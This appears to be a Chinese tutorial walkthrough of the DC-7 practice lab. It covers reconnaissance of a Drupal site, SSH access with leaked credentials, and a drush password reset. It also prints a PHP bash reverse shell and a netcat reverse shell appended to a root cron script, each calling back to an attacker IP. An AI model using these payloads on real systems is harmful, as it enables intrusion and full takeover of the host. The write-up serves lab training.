DC-7靶机复现
字数 1300 2025-09-01 11:26:10

DC-7靶机渗透测试教学文档

1. 信息收集阶段

1.1 网络扫描

使用nmap扫描靶机IP地址和开放端口:

nmap 192.168.130.147

发现开放端口:

  • 80: HTTP服务
  • 22: SSH服务

1.2 Web目录扫描

使用dirsearch扫描Web目录结构,只显示200和403状态码的目录:

dirsearch -u 192.168.130.147 -i 200,403

扫描到重要目录:/user/login/

2. Web应用分析

2.1 CMS识别

在登录页面左下角发现CMS标识:Drupal

2.2 登录页面提示

主页有提示:"暴力破解是不行的",表明不能使用暴力破解方法

2.3 关键信息发现

在登录页面左下角发现信息:@DC7USER

3. 初始访问获取

3.1 GitHub信息查找

通过浏览器查找@DC7USER,发现来自GitHub项目,从中获取到:

  • 用户名:dc7user
  • 密码:MdR3xOgB7#dW

3.2 SSH登录

使用获取的凭据通过SSH登录:

ssh dc7user@192.168.130.147

4. 权限提升路径分析

4.1 SUID提权尝试

查找具有SUID权限的文件:

find / -perm -u=s -type f 2>/dev/null

未发现可利用的命令

4.2 Sudo权限检查

检查sudo可用命令:

sudo -l

无可用sudo权限,但发现邮件提示信息

4.3 定时任务分析

查看用户邮件,发现定时任务信息:

cat /var/mail/dc7user

输出内容:

Subject: Cron <root@dc-7> /opt/scripts/backups.sh
From: root@dc-7 (Cron Daemon)

表明root用户定期执行/opt/scripts/backups.sh脚本

4.4 脚本权限检查

检查备份脚本的权限:

ls -l /opt/scripts/backups.sh

发现需要root用户或www-data组权限才能修改

5. Web权限获取

5.1 确认www-data用户

确认www-data是Web服务用户:

ps -fu www-data

5.2 分析备份脚本

查看备份脚本内容:

cat /opt/scripts/backups.sh

发现使用drush命令

5.3 Drush工具利用

Drush是Drupal的官方命令行工具,可用于管理Drupal网站

5.3.1 创建管理员用户

切换到Drupal根目录并创建新用户:

cd /var/www/html
drush user-password admin --password=admin

5.3.2 登录Web后台

使用新创建的用户(admin/admin)登录Drupal后台

6. 获取WebShell

6.1 安装PHP模块

下载并安装PHP模块:

https://ftp.drupal.org/files/projects/php-8.x-1.0.tar.gz

安装后启用PHP扩展

6.2 创建反弹Shell

  1. 在Kali上设置监听:
nc -lvp 8888
  1. 在Drupal后台创建包含以下PHP代码的页面:
<?php
exec("/bin/bash -c 'bash -i >& /dev/tcp/192.168.130.128/8888 0>&1'");
?>

6.3 获取www-data Shell

访问创建的PHP页面,获取www-data用户的WebShell

7. 最终权限提升

7.1 确认组权限

检查当前用户的组权限:

groups

确认有www-data组权限

7.2 修改备份脚本

向备份脚本添加反弹Shell命令:

echo 'nc -e /bin/bash 192.168.130.128 7777' >> /opt/scripts/backups.sh

在Kali上设置新的监听端口(7777)

7.3 获取root Shell

等待定时任务执行,获取root权限的Shell

8. 获取flag

8.1 查找flag文件

find / -name *flag*

8.2 读取最终flag

cat /root/theflag.txt

关键点总结

  1. 信息收集要全面:nmap扫描、目录扫描、CMS识别
  2. 注意页面上的提示信息:如GitHub用户名提示
  3. 定时任务是常见提权路径
  4. Drush工具是Drupal管理的关键
  5. Web后台管理权限可以转换为系统权限
  6. 修改root执行的脚本是有效的提权方法
  7. 多阶段反弹Shell是绕过限制的有效手段
DC-7靶机渗透测试教学文档 1. 信息收集阶段 1.1 网络扫描 使用nmap扫描靶机IP地址和开放端口: 发现开放端口: 80: HTTP服务 22: SSH服务 1.2 Web目录扫描 使用dirsearch扫描Web目录结构,只显示200和403状态码的目录: 扫描到重要目录: /user/login/ 2. Web应用分析 2.1 CMS识别 在登录页面左下角发现CMS标识: Drupal 2.2 登录页面提示 主页有提示:"暴力破解是不行的",表明不能使用暴力破解方法 2.3 关键信息发现 在登录页面左下角发现信息: @DC7USER 3. 初始访问获取 3.1 GitHub信息查找 通过浏览器查找 @DC7USER ,发现来自GitHub项目,从中获取到: 用户名:dc7user 密码:MdR3xOgB7#dW 3.2 SSH登录 使用获取的凭据通过SSH登录: 4. 权限提升路径分析 4.1 SUID提权尝试 查找具有SUID权限的文件: 未发现可利用的命令 4.2 Sudo权限检查 检查sudo可用命令: 无可用sudo权限,但发现邮件提示信息 4.3 定时任务分析 查看用户邮件,发现定时任务信息: 输出内容: 表明root用户定期执行 /opt/scripts/backups.sh 脚本 4.4 脚本权限检查 检查备份脚本的权限: 发现需要root用户或www-data组权限才能修改 5. Web权限获取 5.1 确认www-data用户 确认www-data是Web服务用户: 5.2 分析备份脚本 查看备份脚本内容: 发现使用 drush 命令 5.3 Drush工具利用 Drush是Drupal的官方命令行工具,可用于管理Drupal网站 5.3.1 创建管理员用户 切换到Drupal根目录并创建新用户: 5.3.2 登录Web后台 使用新创建的用户(admin/admin)登录Drupal后台 6. 获取WebShell 6.1 安装PHP模块 下载并安装PHP模块: 安装后启用PHP扩展 6.2 创建反弹Shell 在Kali上设置监听: 在Drupal后台创建包含以下PHP代码的页面: 6.3 获取www-data Shell 访问创建的PHP页面,获取www-data用户的WebShell 7. 最终权限提升 7.1 确认组权限 检查当前用户的组权限: 确认有www-data组权限 7.2 修改备份脚本 向备份脚本添加反弹Shell命令: 在Kali上设置新的监听端口(7777) 7.3 获取root Shell 等待定时任务执行,获取root权限的Shell 8. 获取flag 8.1 查找flag文件 8.2 读取最终flag 关键点总结 信息收集要全面:nmap扫描、目录扫描、CMS识别 注意页面上的提示信息:如GitHub用户名提示 定时任务是常见提权路径 Drush工具是Drupal管理的关键 Web后台管理权限可以转换为系统权限 修改root执行的脚本是有效的提权方法 多阶段反弹Shell是绕过限制的有效手段